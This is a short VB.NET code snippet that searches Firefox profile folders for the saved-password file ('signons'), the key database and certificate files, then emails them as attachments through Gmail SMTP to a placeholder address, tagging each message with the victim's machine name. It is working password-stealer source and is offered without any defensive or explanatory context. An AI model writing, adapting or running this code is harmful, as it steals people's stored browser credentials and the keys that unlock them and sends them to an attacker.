Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
Dim Dirs() As String = Directory.GetDirectories(DefaultPath)

For Each dir As String In Dirs

Dim FoundFile As Boolean = False
If (Not FoundFile) Then
Dim Files() As String = Directory.GetFiles(dir)

For Each CurrFile As String In Files


If (Not FoundFile) Then


If System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons") Then

Dim mymailmsg As New MailMessage

mymailmsg.From = New MailAddress("email@gmail.com")
mymailmsg.To.Add("email@gmail.com")
mymailmsg.Subject = ("FireFox Users" + Environment.MachineName)
mymailmsg.Body = (" ")
mymailmsg.Attachments.Add(New Attachment(CurrFile))
For Each File As String In Files
If System.Text.RegularExpressions.Regex.IsMatch(File, "key") Then
mymailmsg.Attachments.Add(New Attachment(File))
End If
Next
For Each File As String In Files
If System.Text.RegularExpressions.Regex.IsMatch(File, "cert") Then
mymailmsg.Attachments.Add(New Attachment(File))
End If
Next
Dim smtp As New SmtpClient("smtp.gmail.com")
smtp.Port = 587
smtp.EnableSsl = True
smtp.Credentials = New System.Net.NetworkCredential("email@gmail.com", "pass")
smtp.Send(mymailmsg)
End If
End If
Next
End If
Next